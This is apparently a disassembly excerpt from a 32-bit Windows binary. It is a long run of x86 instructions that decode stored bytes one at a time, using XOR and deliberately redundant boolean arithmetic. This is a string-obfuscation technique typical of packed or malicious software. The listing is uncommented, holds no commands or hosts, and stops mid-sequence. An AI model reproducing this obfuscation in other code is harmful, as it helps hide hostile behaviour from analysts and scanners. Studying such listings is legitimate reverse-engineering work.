mov byte [0x101cb2f8], cl
mov cl, byte [0x101cb2c9]
xor cl, 0xac
mov byte [0x101cb2f9], cl
mov dl, byte [0x101cb2ca]
mov cl, dl
xor cl, 0xff
and cl, 0x94
mov ch, 0xff
xor ch, 0x94
and dl, ch
or cl, dl
mov byte [0x101cb2fa], cl
mov cl, byte [0x101cb2cb]
xor cl, 0x6e
mov byte [0x101cb2fb], cl
mov cl, byte [0x101cb2cc]
mov dl, cl
and dl, 0x81
shl dl, 1
add cl, 0x81
sub cl, dl
mov byte [0x101cb2fc], cl
mov cl, byte [str.L__5]
xor cl, 0x23
mov byte [0x101cb2fd], cl
mov cl, byte [0x101cb2ce]
xor cl, 0x2c
mov byte [0x101cb2fe], cl
mov cl, byte [0x101cb2cf]
xor cl, 0x5c
mov byte [0x101cb2ff], cl
mov cl, byte [0x101cb2d0]
mov dl, cl
and dl, 0x35
shl dl, 1
add cl, 0x35
sub cl, dl
mov byte [0x101cb300], cl
mov dl, byte [0x101cb106]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x36
xor cl, 0xff
mov ch, 0x36
and ch, 0x36
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb10f], cl
mov cl, byte [0x101cb107]
xor cl, 0x20
mov byte [0x101cb110], cl
mov cl, byte [0x101cb108]
xor cl, 0xdc
mov byte [0x101cb111], cl
mov cl, byte [0x101cb109]
xor cl, 0xb7
mov byte [0x101cb112], cl
mov cl, byte [0x101cb10a]
xor cl, 0xb2
mov byte [0x101cb113], cl
mov cl, byte [0x101cb10b]
xor cl, 0xf6
mov byte [0x101cb114], cl
mov dl, byte [0x101cb10c]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf8
mov dh, 0xff
xor dh, 0xf8
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xf8
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb115], cl
mov cl, byte [0x101cb10d]
xor cl, 0x40
mov byte [0x101cb116], cl
mov cl, byte [0x101cb10e]
xor cl, 0x90
mov byte [0x101cb117], cl
mov dl, byte [0x101cb301]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xf2
mov dh, 0xff
xor dh, 0xf2
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf2
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb306], cl
mov cl, byte [0x101cb302]
mov dl, cl
and dl, 0xe
shl dl, 1
add cl, 0xe
sub cl, dl
mov byte [0x101cb307], cl
mov dl, byte [0x101cb303]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x6d
mov dh, 0xff
xor dh, 0x6d
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x6d
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb308], cl
mov cl, byte [0x101cb304]
mov dl, cl
and dl, 0xc8
shl dl, 1
add cl, 0xc8
sub cl, dl
mov byte [0x101cb309], cl
mov dl, byte [0x101cb305]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xb7
or ch, 0xb7
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb7
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb30a], cl
mov dl, byte [0x101cb0ca]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0
xor cl, 0xff
mov ch, 0xff
xor ch, 0
mov dh, 0xff
xor dh, 0
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0d8], cl
mov cl, byte [0x101cb0cb]
mov dl, cl
and dl, 0x94
shl dl, 1
add cl, 0x94
sub cl, dl
mov byte [0x101cb0d9], cl
mov cl, byte [0x101cb0cc]
xor cl, 0x10
mov byte [0x101cb0da], cl
mov dl, byte [0x101cb0cd]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xf1
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf1
mov dh, 0xff
xor dh, 0xf1
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb0db], cl
mov dl, byte [0x101cb0ce]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd2
or cl, ch
mov ch, 0xd2
and ch, 0xd2
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb0dc], cl
mov dl, byte [0x101cb0cf]
mov cl, dl
xor cl, 0xff
and cl, 0x2c
mov ch, 0xff
xor ch, 0x2c
and dl, ch
or cl, dl
mov byte [0x101cb0dd], cl
mov cl, byte [0x101cb0d0]
xor cl, 0xd5
mov byte [0x101cb0de], cl
mov cl, byte [0x101cb0d1]
xor cl, 0xfe
mov byte [0x101cb0df], cl
mov cl, byte [0x101cb0d2]
xor cl, 0xaf
mov byte [0x101cb0e0], cl
mov cl, byte [0x101cb0d3]
xor cl, 0xfe
mov byte [0x101cb0e1], cl
mov dl, byte [0x101cb0d4]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x17
mov dh, 0xff
xor dh, 0x17
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x17
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0e2], cl
mov cl, byte [0x101cb0d5]
xor cl, 0x1b
mov byte [0x101cb0e3], cl
mov cl, byte [0x101cb0d6]
xor cl, 0x75
mov byte [0x101cb0e4], cl
mov cl, byte [str.__n__]
mov dl, cl
xor dl, 0x25
xor dl, 0xff
and dl, 0x25
shl dl, 1
sub dl, 0x25
sub cl, dl
mov byte [0x101cb0e5], cl
mov cl, byte [0x101cb180]
xor cl, 0xf7
mov byte [0x101cb1a0], cl
mov cl, byte [0x101cb181]
xor cl, 0x83
mov byte [0x101cb1a1], cl
mov dl, byte [0x101cb182]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x68
or ch, 0x68
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x68
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1a2], cl
mov cl, byte [0x101cb183]
xor cl, 0x68
mov byte [0x101cb1a3], cl
mov cl, byte [0x101cb184]
xor cl, 0xee
mov byte [0x101cb1a4], cl
mov cl, byte [0x101cb185]
xor cl, 0xa0
mov byte [0x101cb1a5], cl
mov dl, byte [0x101cb186]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x32
or cl, ch
mov ch, 0xff
xor ch, 0x32
mov dh, 0xff
xor dh, 0x32
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1a6], cl
mov cl, byte [0x101cb187]
mov dl, cl
xor dl, 0x4b
xor dl, 0xff
and dl, 0x4b
shl dl, 1
sub dl, 0x4b
sub cl, dl
mov byte [0x101cb1a7], cl
mov dh, byte [0x101cb188]
mov cl, dh
xor cl, 0xff
and cl, 0x66
mov ch, 0xff
xor ch, 0x66
and dh, ch
mov dl, 0xff
xor dl, 0x43
and dl, 0x66
and ch, 0x43
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1a8], cl
mov cl, byte [0x101cb189]
mov dl, cl
and dl, 0xc0
shl dl, 1
add cl, 0xc0
sub cl, dl
mov byte [0x101cb1a9], cl
mov dl, byte [0x101cb18a]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xdf
xor cl, 0xff
mov ch, 0xff
xor ch, 0xdf
mov dh, 0xff
xor dh, 0xdf
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb1aa], cl
mov cl, byte [0x101cb18b]
xor cl, 0xd7
mov byte [0x101cb1ab], cl
mov dl, byte [0x101cb18c]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xa4
or ch, 0xa4
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xa4
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb1ac], cl
mov cl, byte [0x101cb18d]
xor cl, 0xd8
mov byte [0x101cb1ad], cl
mov dl, byte [0x101cb18e]
mov cl, dl
xor cl, 0xff
and cl, 0xb
mov ch, 0xff
xor ch, 0xb
and dl, ch
or cl, dl
mov byte [0x101cb1ae], cl
mov cl, byte [0x101cb18f]
xor cl, 8
mov byte [0x101cb1af], cl
mov dl, byte [0x101cb190]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xae
or cl, ch
mov ch, 0xff
xor ch, 0xae
mov dh, 0xff
xor dh, 0xae
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1b0], cl
mov cl, byte [0x101cb191]
mov dl, cl
and dl, 0xc8
shl dl, 1
add cl, 0xc8
sub cl, dl
mov byte [0x101cb1b1], cl
mov dh, byte [0x101cb192]
mov cl, dh
xor cl, 0xff
and cl, 0xc3
mov ch, 0xff
xor ch, 0xc3
and dh, ch
mov dl, 0xff
xor dl, 0xbc
and dl, 0xc3
and ch, 0xbc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1b2], cl
mov cl, byte [0x101cb193]
xor cl, 0xde
mov byte [0x101cb1b3], cl
mov cl, byte [0x101cb194]
xor cl, 0x24
mov byte [0x101cb1b4], cl
mov dl, byte [0x101cb195]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xd6
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd6
mov dh, 0xff
xor dh, 0xd6
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1b5], cl
mov cl, byte [0x101cb196]
xor cl, 0x54
mov byte [0x101cb1b6], cl
mov dl, byte [0x101cb197]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xdf
or cl, ch
mov ch, 0xdf
and ch, 0xdf
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1b7], cl
mov cl, byte [0x101cb214]
xor cl, 0x40
mov byte [0x101cb21d], cl
mov cl, byte [0x101cb215]
mov dl, cl
and dl, 0xb5
shl dl, 1
add cl, 0xb5
sub cl, dl
mov byte [0x101cb21e], cl
mov dl, byte [0x101cb216]
mov cl, dl
xor cl, 0xff
and cl, 0x94
mov ch, 0xff
xor ch, 0x94
and dl, ch
or cl, dl
mov byte [0x101cb21f], cl
mov dl, byte [0x101cb217]
mov cl, dl
xor cl, 0xff
and cl, 0xf4
mov ch, 0xff
xor ch, 0xf4
and dl, ch
or cl, dl
mov byte [0x101cb220], cl
mov dl, byte [0x101cb218]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x88
or ch, 0x88
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x88
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb221], cl
mov cl, byte [0x101cb219]
xor cl, 0x56
mov byte [0x101cb222], cl
mov dl, byte [0x101cb21a]
mov cl, dl
xor cl, 0xff
and cl, 0x38
mov ch, 0xff
xor ch, 0x38
and dl, ch
or cl, dl
mov byte [0x101cb223], cl
mov cl, byte [0x101cb21b]
mov dl, cl
xor dl, 0x67
xor dl, 0xff
and dl, 0x67
shl dl, 1
sub dl, 0x67
sub cl, dl
mov byte [0x101cb224], cl
mov cl, byte [0x101cb21c]
mov dl, cl
xor dl, 9
xor dl, 0xff
and dl, 9
shl dl, 1
sub dl, 9
sub cl, dl
mov byte [0x101cb225], cl
mov cl, byte [0x101cb287]
xor cl, 0xa9
mov byte [0x101cb296], cl
mov cl, byte [0x101cb288]
mov dl, cl
and dl, 0x40
shl dl, 1
add cl, 0x40
sub cl, dl
mov byte [0x101cb297], cl
mov cl, byte [0x101cb289]
xor cl, 0x6c
mov byte [0x101cb298], cl
mov cl, byte [0x101cb28a]
mov dl, cl
xor dl, 0xda
xor dl, 0xff
and dl, 0xda
shl dl, 1
sub dl, 0xda
sub cl, dl
mov byte [0x101cb299], cl
mov cl, byte [0x101cb28b]
xor cl, 0xf3
mov byte [0x101cb29a], cl
mov cl, byte [0x101cb28c]
xor cl, 0x98
mov byte [0x101cb29b], cl
mov cl, byte [0x101cb28d]
xor cl, 0x43
mov byte [0x101cb29c], cl
mov cl, byte [0x101cb28e]
xor cl, 0xd2
mov byte [0x101cb29d], cl
mov dl, byte [0x101cb28f]
mov cl, dl
xor cl, 0xff
and cl, 0x82
mov ch, 0xff
xor ch, 0x82
and dl, ch
or cl, dl
mov byte [0x101cb29e], cl
mov cl, byte [0x101cb290]
mov dl, cl
and dl, 0xb1
shl dl, 1
add cl, 0xb1
sub cl, dl
mov byte [0x101cb29f], cl
mov cl, byte [0x101cb291]
xor cl, 0x36
mov byte [0x101cb2a0], cl
mov cl, byte [0x101cb292]
xor cl, 0xf1
mov byte [0x101cb2a1], cl
mov dl, byte [0x101cb293]
mov cl, dl
xor cl, 0xff
and cl, 0x87
mov ch, 0xff
xor ch, 0x87
and dl, ch
or cl, dl
mov byte [0x101cb2a2], cl
mov cl, byte [0x101cb294]
xor cl, 9
mov byte [0x101cb2a3], cl
mov cl, byte [0x101cb295]
xor cl, 0x12
mov byte [0x101cb2a4], cl
mov cl, byte [0x101cb1f6]
xor cl, 0xa
mov byte [0x101cb205], cl
mov dl, byte [0x101cb1f7]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xab
or ch, 0xab
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0xab
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb206], cl
mov cl, byte [0x101cb1f8]
xor cl, 0x74
mov byte [0x101cb207], cl
mov cl, byte [0x101cb1f9]
xor cl, 0x52
mov byte [0x101cb208], cl
mov cl, byte [0x101cb1fa]
xor cl, 0x50
mov byte [0x101cb209], cl
mov dl, byte [0x101cb1fb]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa9
or cl, ch
mov ch, 0xff
xor ch, 0xa9
mov dh, 0xff
xor dh, 0xa9
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb20a], cl
mov cl, byte [0x101cb1fc]
xor cl, 0xc0
mov byte [0x101cb20b], cl
mov dl, byte [0x101cb1fd]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, pe_nt_image_headers32
or ch, 0x78
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x78
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb20c], cl
mov dh, byte [0x101cb1fe]
mov cl, dh
xor cl, 0xff
and cl, 0x9d
mov ch, 0xff
xor ch, 0x9d
and dh, ch
mov dl, 0xff
xor dl, 0xdc
and dl, 0x9d
and ch, 0xdc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb20d], cl
mov dl, byte [0x101cb1ff]
mov cl, dl
xor cl, 0xff
and cl, 0xa
mov ch, 0xff
xor ch, 0xa
and dl, ch
or cl, dl
mov byte [0x101cb20e], cl
mov dl, byte [0x101cb200]
mov cl, dl
xor cl, 0xff
and cl, 0x25
mov ch, 0xff
xor ch, 0x25
and dl, ch
or cl, dl
mov byte [0x101cb20f], cl
mov dh, byte [0x101cb201]
mov cl, dh
xor cl, 0xff
and cl, 0x17
mov ch, 0xff
xor ch, 0x17
and dh, ch
mov dl, 0xff
xor dl, 0x36
and dl, 0x17
and ch, 0x36
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb210], cl
mov cl, byte [0x101cb202]
xor cl, 0xe3
mov byte [0x101cb211], cl
mov cl, byte [str.zu_ng7]
mov dl, cl
xor dl, 0x12
xor dl, 0xff
and dl, 0x12
shl dl, 1
sub dl, 0x12
sub cl, dl
mov byte [0x101cb212], cl
mov cl, byte [0x101cb204]
xor cl, 0x75
mov byte [0x101cb213], cl
mov cl, byte [0x101cb0e6]
xor cl, 0xfc
mov byte [0x101cb0f6], cl
mov dl, byte [0x101cb0e7]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x50
or cl, ch
mov ch, 0xff
xor ch, 0x50
mov dh, 0xff
xor dh, 0x50
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0f7], cl
mov cl, byte [0x101cb0e8]
xor cl, 0x31
mov byte [0x101cb0f8], cl
mov cl, byte [0x101cb0e9]
xor cl, 0xde
mov byte [0x101cb0f9], cl
mov cl, byte [0x101cb0ea]
xor cl, 0x3a
mov byte [0x101cb0fa], cl
mov cl, byte [0x101cb0eb]
mov dl, cl
and dl, 0xf8
shl dl, 1
add cl, 0xf8
sub cl, dl
mov byte [0x101cb0fb], cl
mov cl, byte [0x101cb0ec]
xor cl, 0xb8
mov byte [0x101cb0fc], cl
mov cl, byte [0x101cb0ed]
xor cl, 0xe9
mov byte [0x101cb0fd], cl
mov dh, byte [0x101cb0ee]
mov cl, dh
xor cl, 0xff
and cl, 0x17
mov ch, 0xff
xor ch, 0x17
and dh, ch
mov dl, 0xff
xor dl, 0x38
and dl, 0x17
and ch, 0x38
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0fe], cl
mov cl, byte [0x101cb0ef]
mov dl, cl
and dl, 0xae
shl dl, 1
add cl, 0xae
sub cl, dl
mov byte [0x101cb0ff], cl
mov dh, byte [0x101cb0f0]
mov cl, dh
xor cl, 0xff
and cl, 0x32
mov ch, 0xff
xor ch, 0x32
and dh, ch
mov dl, 0xff
xor dl, 0xf6
and dl, 0x32
and ch, 0xf6
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb100], cl
mov cl, byte [0x101cb0f1]
xor cl, 0x27
mov byte [0x101cb101], cl
mov dh, byte [0x101cb0f2]
mov cl, dh
xor cl, 0xff
and cl, 0xe
mov ch, 0xff
xor ch, 0xe
and dh, ch
mov dl, 0xff
xor dl, 0xe5
and dl, 0xe
and ch, 0xe5
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb102], cl
mov cl, byte [0x101cb0f3]
xor cl, 0xad
mov byte [0x101cb103], cl
mov cl, byte [0x101cb0f4]
xor cl, 0x12
mov byte [0x101cb104], cl
mov cl, byte [0x101cb0f5]
xor cl, 0xe8
mov byte [0x101cb105], cl
mov cl, byte [0x101cb120]
xor cl, 0xe7
mov byte [0x101cb150], cl
mov cl, byte [0x101cb121]
xor cl, 0xa3
mov byte [0x101cb151], cl
mov cl, byte [0x101cb122]
xor cl, 0xdb
mov byte [0x101cb152], cl
mov cl, byte [0x101cb123]
xor cl, 0x94
mov byte [0x101cb153], cl
mov dl, byte [0x101cb124]
mov cl, dl
xor cl, 0xff
and cl, 0xa0
mov ch, 0xff
xor ch, 0xa0
and dl, ch
or cl, dl
mov byte [0x101cb154], cl
mov cl, byte [0x101cb125]
xor cl, 0xe4
mov byte [0x101cb155], cl
mov dl, byte [0x101cb126]
mov cl, dl
xor cl, 0xff
and cl, 0x70
mov ch, 0xff
xor ch, 0x70
and dl, ch
or cl, dl
mov byte [0x101cb156], cl
mov dl, byte [0x101cb127]
mov cl, dl
xor cl, 0xff
and cl, 0xf
mov ch, 0xff
xor ch, 0xf
and dl, ch
or cl, dl
mov byte [0x101cb157], cl
mov dl, byte [0x101cb128]
mov cl, dl
xor cl, 0xff
and cl, 0xd
mov ch, 0xff
xor ch, 0xd
and dl, ch
or cl, dl
mov byte [0x101cb158], cl
mov cl, byte [0x101cb129]
mov dl, cl
xor dl, 0x14
xor dl, 0xff
and dl, 0x14
shl dl, 1
sub dl, 0x14
sub cl, dl
mov byte [0x101cb159], cl
mov dl, byte [0x101cb12a]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x5a
or ch, 0x5a
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x5a
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb15a], cl
mov dl, byte [0x101cb12b]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 2
or cl, ch
mov ch, 0xff
xor ch, 2
mov dh, 0xff
xor dh, 2
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb15b], cl
mov cl, byte [0x101cb12c]
xor cl, 0xcd
mov byte [0x101cb15c], cl
mov cl, byte [0x101cb12d]
xor cl, 0x11
mov byte [0x101cb15d], cl
mov cl, byte [0x101cb12e]
mov dl, cl
and dl, 0xb9
shl dl, 1
add cl, 0xb9
sub cl, dl
mov byte [0x101cb15e], cl
mov cl, byte [0x101cb12f]
xor cl, 0xce
mov byte [0x101cb15f], cl
mov dl, byte [0x101cb130]
mov cl, dl
xor cl, 0xff
and cl, 0x51
mov ch, 0xff
xor ch, 0x51
and dl, ch
or cl, dl
mov byte [0x101cb160], cl
mov cl, byte [0x101cb131]
mov dl, cl
xor dl, 0xe7
xor dl, 0xff
and dl, 0xe7
shl dl, 1
sub dl, 0xe7
sub cl, dl
mov byte [0x101cb161], cl
mov cl, byte [0x101cb132]
xor cl, 0x8d
mov byte [0x101cb162], cl
mov cl, byte [0x101cb133]
xor cl, 0x95
mov byte [0x101cb163], cl
mov cl, byte [0x101cb134]
xor cl, 0x5c
mov byte [0x101cb164], cl
mov cl, byte [0x101cb135]
xor cl, 0x1c
mov byte [0x101cb165], cl
mov dl, byte [0x101cb136]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xc1
mov dh, 0xff
xor dh, 0xc1
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xc1
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb166], cl
mov cl, byte [0x101cb137]
mov dl, cl
and dl, 0x65
shl dl, 1
add cl, 0x65
sub cl, dl
mov byte [0x101cb167], cl
mov dl, byte [0x101cb138]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5c
xor cl, 0xff
mov ch, 0xff
xor ch, 0x5c
mov dh, 0xff
xor dh, 0x5c
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb168], cl
mov cl, byte [0x101cb139]
mov dl, cl
xor dl, 0x41
xor dl, 0xff
and dl, 0x41
shl dl, 1
sub dl, 0x41
sub cl, dl
mov byte [0x101cb169], cl
mov cl, byte [0x101cb13a]
xor cl, 0x87
mov byte [0x101cb16a], cl
mov dl, byte [0x101cb13b]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xca
mov dh, 0xff
xor dh, 0xca
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xca
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb16b], cl
mov dl, byte [0x101cb13c]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xbe
xor cl, 0xff
mov ch, 0xff
xor ch, 0xbe
mov dh, 0xff
xor dh, 0xbe
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb16c], cl
mov cl, byte [0x101cb13d]
xor cl, 0x7c
mov byte [0x101cb16d], cl
mov dl, byte [0x101cb13e]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x86
or ch, 0x86
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x86
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb16e], cl
mov cl, byte [0x101cb13f]
xor cl, 0xb6
mov byte [0x101cb16f], cl
mov dl, byte [0x101cb140]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xe4
mov dh, 0xff
xor dh, 0xe4
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xe4
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb170], cl
mov cl, byte [0x101cb1b8]
mov dl, cl
and dl, 0x8e
shl dl, 1
add cl, 0x8e
sub cl, dl
mov byte [0x101cb1c5], cl
mov cl, byte [0x101cb1b9]
xor cl, 0x47
mov byte [0x101cb1c6], cl
mov cl, byte [0x101cb1ba]
xor cl, 0xe3
mov byte [0x101cb1c7], cl
mov cl, byte [0x101cb1bb]
mov dl, cl
and dl, 2
shl dl, 1
add cl, 2
sub cl, dl
mov byte [0x101cb1c8], cl
mov cl, byte [0x101cb1bc]
xor cl, 0x81
mov byte [0x101cb1c9], cl
mov cl, byte [0x101cb1bd]
xor cl, 0x84
mov byte [0x101cb1ca], cl
mov cl, byte [0x101cb1be]
mov dl, cl
and dl, 0x60
shl dl, 1
add cl, 0x60
sub cl, dl
mov byte [0x101cb1cb], cl
mov dl, byte [0x101cb1bf]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xfa
or ch, 0xfa
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xfa
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb1cc], cl
mov cl, byte [0x101cb1c0]
xor cl, 0x8d
mov byte [0x101cb1cd], cl
mov dl, byte [0x101cb1c1]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xf8
or ch, 0xf8
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xf8
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1ce], cl
mov cl, byte [0x101cb1c2]
xor cl, 0x1e
mov byte [0x101cb1cf], cl
mov cl, byte [0x101cb1c3]
xor cl, 0x64
mov byte [0x101cb1d0], cl
mov dl, byte [0x101cb1c4]
mov cl, dl
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dl, ch
or cl, dl
mov byte [0x101cb1d1], cl
mov cl, byte [0x101cb1d2]
mov dl, cl
xor dl, 0xc9
xor dl, 0xff
and dl, 0xc9
shl dl, 1
sub dl, 0xc9
sub cl, dl
mov byte [0x101cb1db], cl
mov dl, byte [0x101cb1d3]
mov cl, dl
xor cl, 0xff
and cl, 0x80
mov ch, 0xff
xor ch, 0x80
and dl, ch
or cl, dl
mov byte [0x101cb1dc], cl
mov dh, byte [0x101cb1d4]
mov cl, dh
xor cl, 0xff
and cl, 0x3e
mov ch, 0xff
xor ch, 0x3e
and dh, ch
mov dl, 0xff
xor dl, 0xa
and dl, 0x3e
and ch, 0xa
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1dd], cl
mov cl, byte [0x101cb1d5]
xor cl, 0xa7
mov byte [0x101cb1de], cl
mov dl, byte [0x101cb1d6]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xb8
or ch, 0xb8
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb8
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1df], cl
mov cl, byte [0x101cb1d7]
xor cl, 0xfd
mov byte [0x101cb1e0], cl
mov cl, byte [0x101cb1d8]
xor cl, 0x8b
mov byte [0x101cb1e1], cl
mov cl, byte [0x101cb1d9]
xor cl, 0x6c
mov byte [0x101cb1e2], cl
mov cl, byte [0x101cb1da]
xor cl, 0x89
mov byte [0x101cb1e3], cl
mov dh, byte [0x101cb343]
mov cl, dh
xor cl, 0xff
and cl, 0x8a
mov ch, 0xff
xor ch, 0x8a
and dh, ch
mov dl, 0xff
xor dl, 0x2c
and dl, 0x8a
and ch, 0x2c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb352], cl
mov dl, byte [0x101cb344]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x94
or cl, ch
mov ch, 0xff
xor ch, 0x94
mov dh, 0xff
xor dh, 0x94
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb353], cl
mov cl, byte [0x101cb345]
xor cl, 0xf4
mov byte [0x101cb354], cl
mov dh, byte [str.lk9]
mov cl, dh
xor cl, 0xff
and cl, 0xfd
mov ch, 0xff
xor ch, 0xfd
and dh, ch
mov dl, 0xff
xor dl, 4
and dl, 0xfd
and ch, 4
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb355], cl
mov dl, byte [0x101cb347]
mov cl, dl
and cl, cl
